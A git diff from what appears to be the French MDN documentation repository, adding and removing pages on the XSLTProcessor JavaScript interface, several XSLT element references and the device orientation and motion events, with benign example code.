Avant d'utiliser cet objet, nous devons importer une feuille de style avec la fonction importStylesheet(). Elle a un unique paramètre, qui est le nœud DOM de la feuille de style XSLT à importer — remarquez que l'importation est directe, ce qui signifie que si nous modifions la feuille de style DOM après son importation, cela sera reflété lors du traitement. Il est cependant conseillé d'utiliser les paramètres de feuille de style plutôt que de modifier le DOM. C'est généralement plus facile et on obtient de meilleures performances.

-
var testTransform = document.implementation.createDocument("", "test", null);
-// juste un exemple pour obtenir une transformation dans un script étant donné que
-// la fonction DOM XMLDocument.load est asynchrone, donc tout le traitement se fait
-// dans le gestionnaire onload
-testTransform.addEventListener("load", onload, false);
-testTransform.load("test-transform.xml");
-function onload() {
-  processor.importStylesheet(testTransform);
-}
-
-

importStylesheet requiert un argument, un nœud DOM. Si ce nœud est un nœud de document, nous pouvons passer par une transformation XSL ou une transformation littérale d'élément résultant, autrement il devra être un élément <tt>xsl:stylesheet</tt> ou <tt>xsl:transform</tt>.

-

Transformation du document

-

Nous pouvons utiliser les méthodes transformToDocument() ou transformToFragment() pour transformer un document à l'aide de la feuille de style spécifiée.

-

transformToDocument

-

transformToDocument() prend un argument, le nœud source à transformer, et retourne un nouveau Document DOM avec les résultats de la transformation :

-
var newDocument = processor.transformToDocument(domToBeTransformed);
-
-

L'objet résultant est un HTMLDocument si la méthode de sortie de la feuille de style est <tt>html</tt>, un XMLDocument pour <tt>xml</tt>, et pour la méthode de sortie <tt>text</tt> un XMLDocument avec uniquement un élément racine <transformiix:result> avec le texte comme descendant.

-

transformToFragment

-

Nous pouvons également utiliser transformToFragment() qui retournera un nœud DocumentFragment DOM. C'est très efficace car l'adjonction d'un fragment à un autre nœud adjoint de façon transparente tous les descendants de ce fragment, et le fragment lui-même n'est pas fusionné. Les fragment sont donc utiles pour déplacer les nœuds et les stocker sans les éléments inutiles d'un objet document entier.

-

transformToFragment prend deux arguments : le document source à transformer (comme ci-dessus) et un objet Document qui possèdera le fragment (tous les fragments doivent être possédés par un document).

-
var ownerDocument = document.implementation.createDocument("", "test", null);
-var newFragment = processor.transformToFragment(domToBeTransformed, ownerDocument);
-
-

transformToFragment ne produira que des objets HTML DOM que si le propriétaire du document est lui-même un HTMLDocument, ou si la méthode de sortie de la feuille de style est <tt>HTML</tt>. Il ne produira pas un objet HTML DOM si seul l'élément de haut niveau du résultat est <html> car transformToFragment est rarement utilisé pour créer cet élément. Si nous voulons annuler cela, nous pouvons définir la méthode de sortie normale par le moyen standard.

-

Définition des paramètres

-

Nous pouvons contrôler les paramètres de la feuille de style à l'aide des méthodes setParameter, getParameter et removeParameter. Elles nécessitent une URI d'espace de nommage et un nom local qui seront les deux premiers paramètres, setParameter sera un troisième paramètres — la valeur de ce dernier paramètre étant à définir.

-

Réinitialisation

-

L'objet XSLTProcessor implémente également une méthode reset() qui peut être utilisée pour supprimer toutes les feuilles de style et tous les paramètres puis ramener le processeur dans son état initial. Cette méthode est implémentée dans Mozilla 1.3 et supérieurs.

-

Ressources

- -
-

Informations sur le document original

-
    -
  • Auteur(s) : Mike Hearn
    • -
  • Dernière mise à jour : 21 décembre 2005
    • -
  • Copyright: Copyright © Mike Hearn
    • -
-
-

Interwiki Languages Links

-
-  
diff --git a/files/fr/web/xslt/value-of/index.html b/files/fr/web/xslt/value-of/index.html deleted file mode 100644 index eba0698be5..0000000000 --- a/files/fr/web/xslt/value-of/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: value-of -slug: Web/XSLT/value-of -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/value-of ---- -

-{{ XsltRef() }} -

L'élément <xsl:value-of> évalue une expression XPath, la convertit en chaîne et écrit cette chaîne dans l'arbre de sortie. -

-

Syntaxe

-
<xsl:value-of select=EXPRESSION disable-output-escaping="yes" | "no"  />
-
-

Attribut obligatoire

-
select -
Définit l'expression XPath à évaluer et à écrire dans l'arbre de sortie. -
-

Attributs optionnels

-
disable-output-escaping (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour sortir des entités HTML, employez leurs valeurs numériques à la place, par exemple &#160 pour &nbsp). -
Définit si les caractères spéciaux sont échappés quand ils sont écrits sur la sortie. Les valeurs autorisées sont yes ou no. Par exemple, s'il est définit à yes, le caractère <tt>></tt> est transmis brut ( > ). Dans le cas contraire, c'est &gt qui serait envoyée à la sortie. -
-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 7.6.1. -

-

Support Gecko

-

Supporté, comme décrit ci-dessus. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/value-of", "ja": "ja/XSLT/value-of", "pl": "pl/XSLT/value-of" } ) }} diff --git a/files/fr/web/xslt/variable/index.html b/files/fr/web/xslt/variable/index.html deleted file mode 100644 index 0bd1320084..0000000000 --- a/files/fr/web/xslt/variable/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: variable -slug: Web/XSLT/variable -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/variable ---- -

-{{ XsltRef() }} -

L'élément <xsl:variable> déclare une variable globale ou locale dans une feuille de style et lui attribue une valeur. Comme XSLT ne permet pas d'effet de bord, une fois que la valeur de la variable est établie, elle reste la même jusqu'à ce que la variable soit hors de portée. -

-

Syntaxe

-
<xsl:variable name=NOM select=EXPRESSION >
-	MODÈLE
-</xsl:variable>
-

Attribut obligatoire

-
name -
Donne un nom à la variable. -
-

Attribut optionnel

-
select -
Définit la valeur de la variable à l'aide d'une expression XPath. Si l'élément contient un modèle, cet attribut est ignoré. -
-

Type

-

Premier niveau ou instruction. S'il intervient comme élément de premier niveau, la variable est de portée globale, et est accessible depuis l'ensemble du document. S'il intervient dans un modèle, la variable est de portée locale, et n'est accessible que dans le modèle dans lequel elle apparaît. -

-

Définition

-

XSLT 1.0, section 11. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/variable", "pl": "pl/XSLT/variable" } ) }} diff --git a/files/fr/web/xslt/when/index.html b/files/fr/web/xslt/when/index.html deleted file mode 100644 index 21cf06aa55..0000000000 --- a/files/fr/web/xslt/when/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: when -slug: Web/XSLT/when -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/when ---- -

-{{ XsltRef() }} -

L'élément <xsl:when> apparaît toujours dans un élément <xsl:choose>, et se comporte comme une structure conditionelle 'case'. -

-

Syntaxe

-
<xsl:when test=EXPRESSION>
-	MODÈLE
-</xsl:when>

Attribut obligatoire

-
test -
Définit une expression booléenne à évaluer. Si elle est vraie, le contenu de l'élément est exécuté ; sinon, il est ignoré. -
-

Attributs obligatoires

-

Aucun. -

-

Type

-

Sous-instruction, apparaît toujours dans un élément <xsl:choose>. -

-

Définition

-

XSLT 1.0, section 9.2. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/when", "es": "es/XSLT/when", "pl": "pl/XSLT/when" } ) }} diff --git a/files/fr/web/xslt/with-param/index.html b/files/fr/web/xslt/with-param/index.html deleted file mode 100644 index 7b4ca9c40e..0000000000 --- a/files/fr/web/xslt/with-param/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: with-param -slug: Web/XSLT/with-param -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/with-param ---- -

-{{ XsltRef() }} -

L'élément <xsl:with-param> définit la valeur d'un paramètre à passer à un modèle. -

-

Syntaxe

-
<xsl:with-param name=NOM select=EXPRESSION>
-	MODÈLE
-</xsl:with-param>

Attribut obligatoire

-
name -
Définit un nom pour ce paramètre. -
-

Attribut optionnel

-
select -
Définit la valeur du paramètre à l'aide d'une expression XPath. Si l'élément contient un modèle, l'attribut est ignoré. -
-

Type

-

Sous-instruction, apparaît toujours dans un élément <xsl:apply-templates> ou un élément <xsl:call-template>. -

-

Définition

-

XSLT 1.0, section 11.6. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/with-param", "es": "es/XSLT/with-param", "pl": "pl/XSLT/with-param" } ) }} diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/advanced_example/index.html b/files/fr/web/xslt/xslt_js_interface_in_gecko/advanced_example/index.html new file mode 100644 index 0000000000..87a1d812cc --- /dev/null +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/advanced_example/index.html @@ -0,0 +1,107 @@ +--- +title: Exemple avancé +slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Exemple_avancé +tags: + - Traduction_à_relire +translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Advanced_Example +--- +

Exemple avancé

+ +

Dans l'exemple avancé, nous allons trier plusieurs div selon leur contenu. L'exemple permet de trier le contenu plusieurs fois, en alternant entre le tri ascendant et le tri descendant. Le JavaScript ne charge que le fichier .xsl la première fois, et définit la variable xslloaded à true une fois que le fichier est fini de chargé. En utilisant la méthode getParameter sur l'objet XSLTProcessor , le code peut estimer s'il faut trier de façon ascendante ou descendante. Il trie par défaut de manière ascendante si le paramètre est vide (lors du premier tri, car sa valeur n'est pas définie dans le fichier XSLT). La valeur du tri est définie à l'aide de setParameter.

+ +

La fichier XSLT a un paramètre appelé myOrder que le JavaScript définit pour changer la méthode de tri. L'attribut xsl:sort d'ordre des éléments peut accéder à la valeur du paramètre en utilisant $myOrder. Cependant, la valeur a besoin d'être une expression XPath et non pas une chaîne, ainsi on utilise {$myOrder}. L'utilisation de {} évalue le contenu comme une expression XPath.

+ +

Une fois la transformation complétée, le résultat est ajouté au document, comme indiqué dans l'exemple.

+ +

Figure 7 : Tri selon le contenu des divvoir l'exemple

+ +
+

Fragment XHTML :

+ +
<div id="example">
+  <div>1</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+  <div>6</div>
+  <div>7</div>
+  <div>8</div>
+  <div>9</div>
+  <div>10</div>
+</div>
+
+ +

JavaScript

+ +
var xslRef;
+var xslloaded = false;
+var xsltProcessor = new XSLTProcessor();
+var myDOM;
+
+var xmlRef = document.implementation.createDocument("", "", null);
+
+function sort() {
+  if (!xslloaded){
+    p = new XMLHttpRequest();
+    p.open("GET", "example2.xsl", false);
+    p.send(null);
+
+    xslRef = p.responseXML;
+    xsltProcessor.importStylesheet(xslRef)
+    xslloaded = true;
+  }
+
+  // création d'un nouveau document XML en mémoire
+  xmlRef = document.implementation.createDocument("", "", null);
+
+  // nos voulons déplacer une partie du DOM depuis le document HTML vers le document XML.
+  // importNode est utilisé pour cloner les nœuds que nous voulons traiter via XSLT
+  // true permet une copie profonde
+  var myNode = document.getElementById("example");
+  var clonedNode = xmlRef.importNode(myNode, true);
+
+  // après le clonage, nous ajoutons
+  xmlRef.appendChild(clonedNode);
+
+  // définition du paramètre de tri dans le fichier XSL
+  var sortVal = xsltProcessor.getParameter(null, "myOrder");
+
+  if (sortVal == "" || sortVal == "descending")
+    xsltProcessor.setParameter(null, "myOrder", "ascending");
+  else
+    xsltProcessor.setParameter(null, "myOrder", "descending");
+
+  // initialisation de la transformation
+  var fragment = xsltProcessor.transformToFragment(xmlRef, document);
+
+  // effacement des contenus
+  document.getElementById("example").innerHTML = "";
+
+  myDOM = fragment;
+  // ajout du nouveau contenu depuis la transformation
+  document.getElementById("example").appendChild(fragment)
+}
+
+ +

Feuille de style XSL :

+ +
<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="html" indent="yes" />
+
+  <xsl:param name="myOrder" />
+
+  <xsl:template match="/">
+
+    <xsl:apply-templates select="/div//div">
+      <xsl:sort select="." data-type="number" order="{$myOrder}" />
+    </xsl:apply-templates>
+  </xsl:template>
+
+  <xsl:template match="div">
+    <xsl:copy-of select="." />
+  </xsl:template>
+</xsl:stylesheet>
+
+
diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/basic_example/index.html b/files/fr/web/xslt/xslt_js_interface_in_gecko/basic_example/index.html new file mode 100644 index 0000000000..7031df3d90 --- /dev/null +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/basic_example/index.html @@ -0,0 +1,134 @@ +--- +title: Exemple basique +slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Exemple_basique +tags: + - Traduction_à_relire +translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Basic_Example +--- +

Exemple basique

+ +

L'exemple que nous allons voir va charger un fichier XML et lui appliquer une transformation XSL. Nous utiliserons les mêmes fichiers que dans l'exemple Génération de HTML de l'article XSLT dans Gecko. Le fichier XML décrit un article et le fichier XSL formate les informations pour l'affichage.

+ +

Figure 4 : fichier XML

+ +

Document XML (example1.xml):

+ +
  <?xml version="1.0"?>
+  <myNS:Article
+                         xmlns:myNS="http://devedge.netscape.com/2002/de">
+    <myNS:Title>Mon article</myNS:Title>
+    <myNS:Authors>
+      <myNS:Author company="Foopy Corp.">M. Foo</myNS:Author>
+      <myNS:Author>M. Bar</myNS:Author>
+    </myNS:Authors>
+    <myNS:Body>
+      En <em>Espagne</em>, les <strong>pluies</strong> se concentrent
+      principalement dans les plaines.
+    </myNS:Body>
+  </myNS:Article>
+
+ +

Figure 5 : feuille de style XSLT

+ +

feuille de style XSL (example1.xsl):

+ +
  <?xml version="1.0"?>
+  <xsl:stylesheet version="1.0"
+                           xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                           xmlns:myNS="http://devedge.netscape.com/2002/de">
+
+    <xsl:output method="html" />
+
+    <xsl:template match="/">
+      <html>
+
+        <head>
+
+          <title>
+            <xsl:value-of select="/myNS:Article/myNS:Title"/>
+          </title>
+
+          <style type="text/css">
+            .myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
+          </style>
+
+        </head>
+
+        <body>
+          <p class="myBox">
+            <span class="title">
+              <xsl:value-of select="/myNS:Article/myNS:Title"/>
+            </span> <br />
+
+            Auteurs :   <br />
+              <xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/>
+            </p>
+
+          <p class="myBox">
+            <xsl:apply-templates select="//myNS:Body"/>
+          </p>
+
+        </body>
+
+      </html>
+    </xsl:template>
+
+    <xsl:template match="myNS:Author">
+       --   <xsl:value-of select="." />
+
+      <xsl:if test="@company">
+       ::   <strong>  <xsl:value-of select="@company" />  </strong>
+      </xsl:if>
+
+      <br />
+    </xsl:template>
+
+    <xsl:template match="myNS:Body">
+      <xsl:copy>
+        <xsl:apply-templates select="@*|node()"/>
+      </xsl:copy>
+    </xsl:template>
+
+    <xsl:template match="@*|node()">
+        <xsl:copy>
+          <xsl:apply-templates select="@*|node()"/>
+        </xsl:copy>
+    </xsl:template>
+  </xsl:stylesheet>
+
+ +

L'exemple charge en mémoire les deux fichiers .xsl (xslStylesheet) et .xml (xmlDoc) à l'aide de XMLHTTPRequest synchrone. Le fichier .xsl est alors importé (xsltProcessor.importStylesheet(xslStylesheet)) et la transformation exécutée (xsltProcessor.transformToFragment(xmlDoc, document)). Cela permet d'extraire des données après le chargement de la page, sans avoir à la rafraîchir.

+ +

Figure 6 : Exemple voir l'exemple

+ +
var xslStylesheet;
+var xsltProcessor = new XSLTProcessor();
+var myDOM;
+
+var xmlDoc;
+
+function Init(){
+
+  // chargement du fichier xslt, example1.xsl
+  var myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "example1.xsl", false);
+  myXMLHTTPRequest.send(null);
+
+  xslStylesheet = myXMLHTTPRequest.responseXML;
+  xsltProcessor.importStylesheet(xslStylesheet);
+
+  // chargement du fichier xml, example1.xml
+  myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "example1.xml", false);
+  myXMLHTTPRequest.send(null);
+
+  xmlDoc = myXMLHTTPRequest.responseXML;
+
+  var fragment = xsltProcessor.transformToFragment(xmlDoc, document);
+
+  document.getElementById("example").innerHTML = "";
+
+  myDOM = fragment;
+  document.getElementById("example").appendChild(fragment);
+}
+
diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/index.html b/files/fr/web/xslt/xslt_js_interface_in_gecko/index.html new file mode 100644 index 0000000000..bf11103d83 --- /dev/null +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/index.html @@ -0,0 +1,18 @@ +--- +title: L'interface XSLT/JavaScript dans Gecko +slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko +tags: + - DOM + - Toutes_les_catégories + - XSLT +translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko +--- +
    +
  1. Introduction
    2. +
  2. JavaScript/XSLT Bindings
    3. +
  3. Basic Example
    4. +
  4. Setting Parameters
    5. +
  5. Advanced Example
    6. +
  6. Interface List
    7. +
  7. Resources
    8. +
diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/javascript_xslt_bindings/index.html b/files/fr/web/xslt/xslt_js_interface_in_gecko/javascript_xslt_bindings/index.html new file mode 100644 index 0000000000..0cfa95c2c8 --- /dev/null +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/javascript_xslt_bindings/index.html @@ -0,0 +1,58 @@ +--- +title: Les liaisons JavaScript/XSLT +slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Les_liaisons_JavaScript_XSLT +tags: + - Traduction_à_relire +translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/JavaScript_XSLT_Bindings +--- +

Les liaisons JavaScript/XSLT

+ +

JavaScript peut exécuter des transformations XSLT à travers l'objet XSLTProcessor. Un fois instancié, un XSLTProcessor a une méthode importStylesheet qui prend comme argument la feuille de style XSLT à utiliser pour la transformation. La feuille de style doit être passée comme un document XML, ce qui signifie que le fichier .xsl doit être chargé par la page avant d'appeler importStylesheet. Cela peut être fait par XMLHttpRequest ou par XMLDocument.load.

+ +

Figure 1 : Instanciation d'un XSLTProcessor

+ +
  var xsltProcessor = new XSLTProcessor();
+
+  // Chargement du fichier xsl à l'aide de XMLHttpRequest synchrone
+     (le 3° paramètre est défini à false
+  var myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "example.xsl", false);
+  myXMLHTTPRequest.send(null);
+
+  var xslRef = myXMLHTTPRequest.responseXML;
+
+  // Importation du .xsl
+  xsltProcessor.importStylesheet(xslRef);
+
+ +

Pour la transformation réelle, XSLTProcessor requiert un document XML, qui est utilisé en conjonction avec le fichier XSL importé pour produire le résultat final. Le document XML peut être un fichier XML séparé chargé comme sur la figure 1, ou il peut être une partie d'une page existante. Pour traiter une partie du DOM d'une page, il est nécessaire de commencer par créer un document XML en mémoire. Considérons que le DOM à traiter est contenu dans un élément avec l'ID example, que le DOM peut être « cloné » (ou dupliqué) à l'aide de ma méthode importNode du document XML en mémoire. importNode permet le transfert d'un fragment DOM entre différents documents, dans ce cas, depuis un document HTML vers un document XML. Le premier paramètre référence le nœud DOM à dupliquer. En définissant le deuxième paramètre à true, il dupliquera à l'identique tous les descendants (une copie profonde). Le DOM cloné peut alors être facilement inséré dans le document XML à l'aide de appendChild, comme indiqué sur la figure 2.

+ +

Figure 2 : Création d'un document XML à partir d'un DOM document

+ +
  // création d'u nouveau document XML en mémoire
+  var xmlRef = document.implementation.createDocument("", "", null);
+
+  // nous voulons déplacer une partie du DOM depuis un document HTML vers un document XML.
+  // importNode est utilisée pour cloner les nœuds que nous voulons traiter via XSLT
+  // true permet une copie conforme
+  var myNode = document.getElementById("example");
+  var clonedNode = xmlRef.importNode(myNode, true);
+
+  // Ajout du DOM cloné dans le document XML
+  xmlRef.appendChild(clonedNode);
+
+ +

Une fois la feuille de style importée, XSLTProcessor doit exécuter deux méthodes pour la transformations réelle, à savoir transformToDocument() et transformToFragment(). transformToDocument() retourne un document XML entier alors que transformToFragment() retourne un fragment de document qui peut être facilement ajouté à un document XML existant. Les deux prennent le document XML comme premier paramètre à transformer. transformToFragment() requiert un second paramètre, à savoir l'objet document qui possédera le fragment généré. Si le fragment généré est inséré dans le document HTML courant, passer document est suffisant.

+ +

Figure 2.1 : Création d'un document XML à partir d'une chaîne 'soupe XML'

+ +

Alors que nous pouvons utiliser la méthode loadXML d'Internet Explorer pour charger une chaîne contenant du XML, nous devons faire quelques arrangements pour faire la même chose dans Mozilla. Nous devons utiliser le DomParser.no pour créer un document, car c'est géré par leDomParser .

+ +
var parser = new DOMParser();
+var doc = parser.parseFromString(aStr, "text/xml");
+
+ +

Figure 3 : Exécution de la transformation

+ +
 var fragment = xsltProcessor.transformToFragment(xmlRef, document);
+
diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/resources/index.html b/files/fr/web/xslt/xslt_js_interface_in_gecko/resources/index.html new file mode 100644 index 0000000000..e747875fe8 --- /dev/null +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/resources/index.html @@ -0,0 +1,25 @@ +--- +title: Ressources +slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Ressources +translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Resources +--- +

    +
  1. Introduction
    2. +
  2. Les liaisons JavaScript/XSLT
    3. +
  3. Exemple basique
    4. +
  4. Définition de paramètres
    5. +
  5. Exemple avancé
    6. +
  6. Liste des interfaces
    7. +
  7. Ressources
    8. +

+ +

Ressources

+ + + +

{{Previous("L\'interface XSLT/JavaScript dans Gecko:Liste des interfaces")}}

diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/setting_parameters/index.html b/files/fr/web/xslt/xslt_js_interface_in_gecko/setting_parameters/index.html new file mode 100644 index 0000000000..43cf60370b --- /dev/null +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/setting_parameters/index.html @@ -0,0 +1,31 @@ +--- +title: Définition de paramètres +slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Définition_de_paramètres +tags: + - Traduction_à_relire +translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Setting_Parameters +--- +

Définition de paramètres

+ +

Alors que l'exécution de transformations à l'aide des fichiers .xsl et .xml pré codés est utile, la configuration du fichier .xsl par JavaScript peut l'être bien plus. Par exemple, JavaScript et XSLT peuvent être utilisés pour trier des données XML puis les afficher. L'ordre du tri pourra alterner entre le tri ascendant et le tri descendant.

+ +

XSLT fournit l'élément xsl:param, qui est un descendant de l'élément xsl:stylesheet. XSLTProcessor() fournit trois méthodes JavaScript pour interagir avec ces paramètres : setParameter, getParameter et removeParameter. Elles prennent toutes comme premier argument l'URI de l'espace de nommage de xsl:param (normalement, param tombera dans l'espace de nommage par défaut, ainsi le passer à null suffira). Le nom local de xsl:param est le second argument. setParameter requiert un troisième argument, à savoir la valeur à laquelle le paramètre sera défini.

+ +

Figure 7 : Paramètres

+ +
+

XSLT :

+ +
<xsl:param name="myOrder" />
+
+ +

JavaScript :

+ +
var sortVal = xsltProcessor.getParameter(null, "monOrdre");
+
+if (sortVal == "" || sortVal == "descendant")
+  xsltProcessor.setParameter(null, "monOrdre", "ascendant");
+else
+  xsltProcessor.setParameter(null, "monOrdre", "descendant");
+
+
diff --git a/files/fr/webapi/detecting_device_orientation/index.html b/files/fr/webapi/detecting_device_orientation/index.html deleted file mode 100644 index 63d99497df..0000000000 --- a/files/fr/webapi/detecting_device_orientation/index.html +++ /dev/null @@ -1,289 +0,0 @@ ---- -title: Détecter l'orientation de l'appareil -slug: WebAPI/Detecting_device_orientation -tags: - - Device Orientation - - Firefox OS - - Mobile - - Motion - - Orientation -translation_of: Web/API/Detecting_device_orientation ---- -

{{SeeCompatTable}}

- -

Résumé

- -

De plus en plus d'appareils connectés à Internet sont capable de déterminer leur orientation. C'est-à-dire qu'ils peuvent fournir des données indiquant des changements dans leur orientation par rapport à la gravité. En particulier les appareils portables, comme les téléphones mobiles, peuvent utiliser cette information pour effectuer automatiquement une rotation de l'écran, afin de toujours proposer la meilleure disposition possible pour le contenu à afficher.

- -

Il existe deux événements JavaScript pour gérer l'orientation. Le premier est {{domxref("DeviceOrientationEvent")}}, qui est envoyé quand l'accéléromètre détecte un changement d'orientation de l'appareil. En recevant et en analysant les données fournies par ces événements d'orientation, il est possible de répondre de manière interactive aux changements d'orientation et d'élévation causés par les mouvements imprimés à l'appareil par l'utilisateur.

- -

Le second événement est {{ domxref("DeviceMotionEvent") }}, qui est envoyé quand un changement d’accélération est ajouté. Il est différent de {{domxref("DeviceOrientationEvent")}}, car il écoute les changements d'accélération par opposition à l'orientation. Parmi les capteurs capables de détecter {{ domxref("DeviceMotionEvent") }}, on trouve les capteurs des ordinateurs portables utilisés pour protéger des chutes les périphériques de stockage. Ils sont communément présents dans les appareils mobiles (tablettes, téléphones intelligents).

- -

Traitement des événements d'orientation

- -

Tout ce dont vous avez besoin pour commencer à recevoir les changements d'orientation est d’écouter l’événement {{ event("deviceorientation") }} :

- -
-

Note: gyronorm.js est un polyfill pour normaliser les données de l'accéléromètre et du gyroscope sur les appareils mobiles. C'est utile pour surmonter certaines différences dans la prise en charge des périphériques pour l'orientation du périphérique.

-
- -
window.addEventListener("deviceorientation", handleOrientation, true);
-
- -

Après l’enregistrement de votre gestionnaire d'événements (event listener en anglais), dans ce cas, une fonction JS appelée handleOrientation(), votre fonction d'écoute est appelée périodiquement pour récupérer les données de l'orientation mise à jour.

- -

L'événement d'orientation contient quatre valeurs ::

- -
    -
  • {{domxref("DeviceOrientationEvent.absolute")}}
    • -
  • {{domxref("DeviceOrientationEvent.alpha")}}
    • -
  • {{domxref("DeviceOrientationEvent.beta")}}
    • -
  • {{domxref("DeviceOrientationEvent.gamma")}}
    • -
- -

La fonction gérant l’événement pourrait ressembler à ceci :

- -
function handleOrientation(event) {
-  var absolute = event.absolute;
-  var alpha    = event.alpha;
-  var beta     = event.beta;
-  var gamma    = event.gamma;
-
-  // Faites quelque chose avec les données acquises. ;)
-}
-
- -

Détail des valeurs d'orientation

- -

La valeur reportée pour chaque axe indique l'angle de rotation autour d'un axe donné, en référence à un système de coordonnées standard. Ces valeurs sont décrites de façon plus détaillée dans cet article Orientation et déplacement expliquée.

- -
    -
  • La valeur {{ domxref("DeviceOrientationEvent.alpha") }} représente le mouvement de l'appareil, autour de l'axe « z », en degrés sur une échelle de 0° à 360° ;
    • -
  • La valeur {{ domxref("DeviceOrientationEvent.beta") }} représente le mouvement de l'appareil autour de l'axe « y » en degrés, sur une échelle de -180° à 180°.  Cela représente le mouvement d'avant en arrière de l'appareil ;
    • -
  • La valeur {{ domxref("DeviceOrientationEvent.gamma") }} représente le mouvement de l'appareil autour de l'axe « x », exprimée en degrés sur une échelle de -90° à 90°. Cela représente le mouvement de gauche à droite de l'appareil.
    • -
- -

Exemple d'orientation

- -

Cet exemple fonctionne sur tout navigateur supportant l’événement {{event("deviceorientation")}} et sur tout appareil capable de détecter son orientation.

- -

Imaginons une balle dans un jardin :

- -
<div class="jardin">
-  <div class="balle"></div>
-</div>
-
-<pre class="resultat"></pre>
-
- -

Ce jardin fait 200 pixels de long (Oui c'est un « petit » jardin !), et la balle est au centre :

- -
.jardin {
-  position: relative;
-  width : 200px;
-  height: 200px;
-  border: 5px solid #CCC;
-  border-radius: 10px;
-}
-
-.balle {
-  position: absolute;
-  top   : 90px;
-  left  : 90px;
-  width : 20px;
-  height: 20px;
-  background: green;
-  border-radius: 100%;
-}
-
- -

Maintenant, on définit le déplacement de la balle en fonction de celui de l'appareil :

- -
var jardin = document.querySelector('.jardin'),
-    balle = document.querySelector('.balle'),
-    resultat = document.querySelector('.resultat'),
-    maxX = jardin.clientWidth  - balle.clientWidth,
-    maxY = jardin.clientHeight - balle.clientHeight;
-
-function handleOrientation(event) {
-  var x = event.beta,  // En degré sur l'interval [-180,180].
-      y = event.gamma; // En degré sur l'interval [-90,90].
-
-  resultat.innerHTML  = "beta : " + x + "<br />";
-  resultat.innerHTML += "gamma: " + y + "<br />";
-
-  // Parce-que l'on ne veut pas avoir l'appareil à l'envers.
-  // On restreint les valeurs de x à l'intervalle [-90,90].
-  if (x >  90) { x =  90};
-  if (x < -90) { x = -90};
-  // Pour rendre le calcul plus simple.
-  // On délimite l'intervalle de x et y sur [0, 180].
-  x += 90;
-  y += 90;
-
-  // 10 est la moitié de la taille de la balle.
-  // Cela centre le point de positionnement au centre de la balle.
-
-  balle.style.top  = (maxX * x / 180 - 10) + "px";
-  balle.style.left = (maxY * y / 180 - 10) + "px";
-}
-
-window.addEventListener('deviceorientation', handleOrientation);
-
- -

Et voici le résultat en temps réel :

- -
{{EmbedLiveSample("Exemple_d'orientation", '230', '260')}}
- -
 
- -
{{LiveSampleLink("Exemple_d'orientation", "Cliquez ici")}} pour ouvrir cet exemple dans une nouvelle fenêtre;  l'événement {{event("deviceorientation")}} ne marche pas dans les {{HTMLElement("iframe", "iframes")}} cross-origin dans tous les navigateurs.
- -
 
- -
-

Attention : Chrome et Firefox ne gèrent pas les angles de la même façon, certaines directions sur les axes sont inversées.

-
- -

Traiter les événement de mouvement

- -

Les événements de mouvement gèrent l'orientation de la même façon à l'exception près qu’ils portent un nom d’événement différent : {{event("devicemotion")}}

- -
window.addEventListener("devicemotion", handleMotion, true);
-
- -

Ce qui change réellement est l'information fournie par l'objet {{ domxref("DeviceMotionEvent") }} passée comme paramètre par la fonction HandleMotion.

- -

Les événements de mouvement contiennent quatre propriétés :

- -
    -
  • {{domxref("DeviceMotionEvent.acceleration")}}
    • -
  • {{domxref("DeviceMotionEvent.accelerationIncludingGravity")}}
    • -
  • {{domxref("DeviceMotionEvent.rotationRate")}}
    • -
  • {{domxref("DeviceMotionEvent.interval")}}
    • -
- -

Explication des valeurs de mouvement

- -

